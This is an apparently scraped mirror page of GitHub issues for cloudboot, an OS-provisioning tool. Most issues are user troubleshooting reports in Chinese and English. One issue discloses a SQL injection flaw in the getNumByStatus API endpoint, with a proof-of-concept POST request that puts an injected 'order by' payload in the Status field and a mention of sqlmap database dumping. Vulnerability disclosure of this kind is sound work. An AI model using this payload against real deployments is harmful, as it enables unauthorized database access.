Giter VIP home page Giter VIP logo

cloudboot's People

Contributors

alexanderchen1989 avatar companycy avatar kkxue avatar liucy1983 avatar yunji-devin avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cloudboot's Issues

WEB无法登录

登录web页面的时候,提示报错信息: 登录失败: securecookie: expired timestamp

服务器时间检查过没有问题,也检查过服务的状态。

什么时候支持uefi启动

请问什么时候能支持uefi启动?现在大部分新机器默认都是uefi启动,这样装机的话,都需要去更改,

BootOS驱动更新问题

参考部署文档,BootOS驱动更新时需要将rpm包离线安装到BootOS里面。
我使用chroot rpm时提示 / 空间不足,无法安装。
可以提供下具体的离线安装方法吗?非常感谢!

Cloudboot has SQL injection

A sql injection was discovered in cloudboot
There is a sql injection vulnerability which allows remote attackers to inject sql command of /api/osinstall/v1/device/getNumByStatus

PoC:
POST /api/osinstall/v1/device/getNumByStatus HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

{"Status":"1'order by 2#","UserID":0}

"Status" is the injection point

Use sqlmap to get the database
image

社区版1.5.1 不能跨网段部署

查到原因是bootos写入网关的原因,截图的那段shell只写入文件了,并没有执行。请问如何解压bootos,并重新打包方法,谢谢🙏
image

1.5.1版安装win2012r2不能自动重启,ip也不是在设备详情设定的ip

1.5.1版安装win2012r2不能自动重启,ip也不是在设备详情设定的ip

如下图
image

我的环境是在esxi里建的一个虚拟机做Cloudboot的服务器,安装cloudboot-1.5.1-1.x86_64.rpm后各服务都启动正常,利用它安装centos7.6一切正常,安装win2012r2时,在最后阶段提示重启,但实际却无法完成重启,停留在了上图位置,手工重启后,系统能进入,ip地址不是在设备详情设定的ip,是自动获取的,请问如何处理上述2个问题?

centos7 安装问题

PS:安装流程上osinstall与 osinstall-doc中描述不一致。
1、os-install-server安装完成以后,报错:not a valid logrus Level: ""
2、npm(目前为线上最新版本:4.2.4)安装完bower和ember-cli。在ui中执行npm install中报错如下:
[我实在太挫,不太懂nodejs]

npm WARN deprecated [email protected]: this package has been reintegrated into npm and is now out of date with respect to npm
npm WARN deprecated [email protected]: lodash@<2.0.0 is no longer maintained. Upgrade to lodash@^3.0.0

[email protected] postinstall /home/worker/idcos/osinstall-ui/node_modules/ember-cli-font-awesome/node_modules/ember-cli-sass/node_modules/broccoli-sass-source-maps/node_modules/node-sass/node_modules/cross-spawn/node_modules/spawn-sync
node postinstall

module.js:340
throw err;
^

Error: Cannot find module '/home/worker/idcos/osinstall-ui/node_modules/ember-cli-font-awesome/node_modules/ember-cli-sass/node_modules/broccoli-sass-source-maps/node_modules/node-sass/node_modules/cross-spawn/node_modules/spawn-sync/postinstall'
at Function.Module._resolveFilename (module.js:338:15)
at Function.Module._load (module.js:289:25)
at Function.Module.runMain (module.js:467:10)
at startup (node.js:136:18)
at node.js:963:3
npm ERR! Linux 3.10.0-229.14.1.el7.x86_64
npm ERR! argv "/usr/local/nodejs/bin/node" "/usr/local/nodejs/bin/npm" "install"
npm ERR! node v4.2.4
npm ERR! npm v2.14.12
npm ERR! code ELIFECYCLE

npm ERR! [email protected] postinstall: node postinstall
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the [email protected] postinstall script 'node postinstall'.
npm ERR! This is most likely a problem with the spawn-sync package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR! node postinstall
npm ERR! You can get their info via:
npm ERR! npm owner ls spawn-sync
npm ERR! There is likely additional logging output above.

npm ERR! Please include the following file with any support request:
npm ERR! /home/worker/idcos/osinstall-ui/npm-debug.log

Cloudboot deployment mode

At present, Cloudboot one click deployment documents only include rpm packages. Can you add Ubuntu one click deployment, or add some deployment steps for common distributions?Thank you!

安装完访问URL报错

Server端url检查正常返回JSON串。
访问49152端口,正常返回json。

访问dashboard报错
http://172.18.21.101:4200/api/osinstall/v1/device/getNumByStatus 404 NOT FOUND

直接访问404的URL报错如下
Cannot GET /api/osinstall/v1/device/getNumByStatus

通过firebug发现很多警告都是vendor.js里的。
是不是我哪里安装的有问题?
系统 centos 6.7
{ npm: '2.14.9',
http_parser: '2.3',
modules: '14',
node: '0.12.9',
openssl: '1.0.1q',
uv: '1.6.1',
v8: '3.28.71.19',
zlib: '1.2.8' }

dhcp start failed

查看日志,
2024/01/08 10:08:18.473 [D] [dhcp_subnet.go:188] restart dhcpd:service dhcpd restart
2024/01/08 10:08:18.506 [D] [dhcp_subnet.go:190] result:Starting dhcpd: [FAILED]^M

2024/01/08 10:08:18.506 [E] [dhcp_subnet.go:197] error:exit status 1

单纯PXE的实现中所有的功能都可以由dnsmasq提供

是不是可以考虑简化组件,我的dnsmasq配置

enable-tftp
tftp-root=/srv/tftp/
interface=br0
domain=idcos.com
bind-interfaces
dhcp-range=red,10.1.1.210,10.1.1.240,255.255.255.0
dhcp-range=green,10.1.2.210,10.1.2.240,255.255.255.0
dhcp-range=blue,10.1.3.210,10.1.3.240,255.255.255.0
#dhcp-boot=grubnetx64.efi.signed
#dhcp-boot=bootx64.efi
dhcp-boot=ipxe.efi
dhcp-option=red,3,10.1.1.1
dhcp-option=green,3,10.1.2.1
dhcp-option=blue,3,10.1.3.1
dhcp-option=6,10.1.1.2
resolv-file=/etc/dnsmasq.resolv.conf
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log

Centos 6.5 无法安装go

2.Deploy Server

Install Go

Download the latest stable version source code

wget https://storage.googleapis.com/golang/go1.5.2.src.tar.gz

Copied to the user's work directory

cp go1.5.2.src.tar.gz /home//

Unzip

tar xf go1.5.2.src.tar.gz

Compile

cd go/src/ && ./make.bash

执行Compile时提示:
[root@mq1 src]# ./make.bash

Building Go bootstrap tool.

cmd/dist
ERROR: Cannot find /root/go1.4/bin/go.
Set $GOROOT_BOOTSTRAP to a working Go tree >= Go 1.4.
./make.bash: line 121: /root/go1.4/bin/go: No such file or directory

请求指导。。。。

ui启动报错

[root@CentOS7 osinstall-ui]# ember server --proxy=http://localhost:8083/
module.js:538
throw err;
^

Error: Cannot find module 'internal/util/types'
at Function.Module._resolveFilename (module.js:536:15)
at Function.Module._load (module.js:466:25)
at Module.require (module.js:579:17)
at require (internal/module.js:11:18)
at evalmachine.:31:26
at Object. (/data/app/osinstall-ui/node_modules/ember-cli/node_modules/configstore/node_modules/graceful-fs/fs.js:11:1)
at Module._compile (module.js:635:30)
at Object.Module._extensions..js (module.js:646:10)
at Module.load (module.js:554:32)
at tryModuleLoad (module.js:497:12)
[root@CentOS7 osinstall-ui]#

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.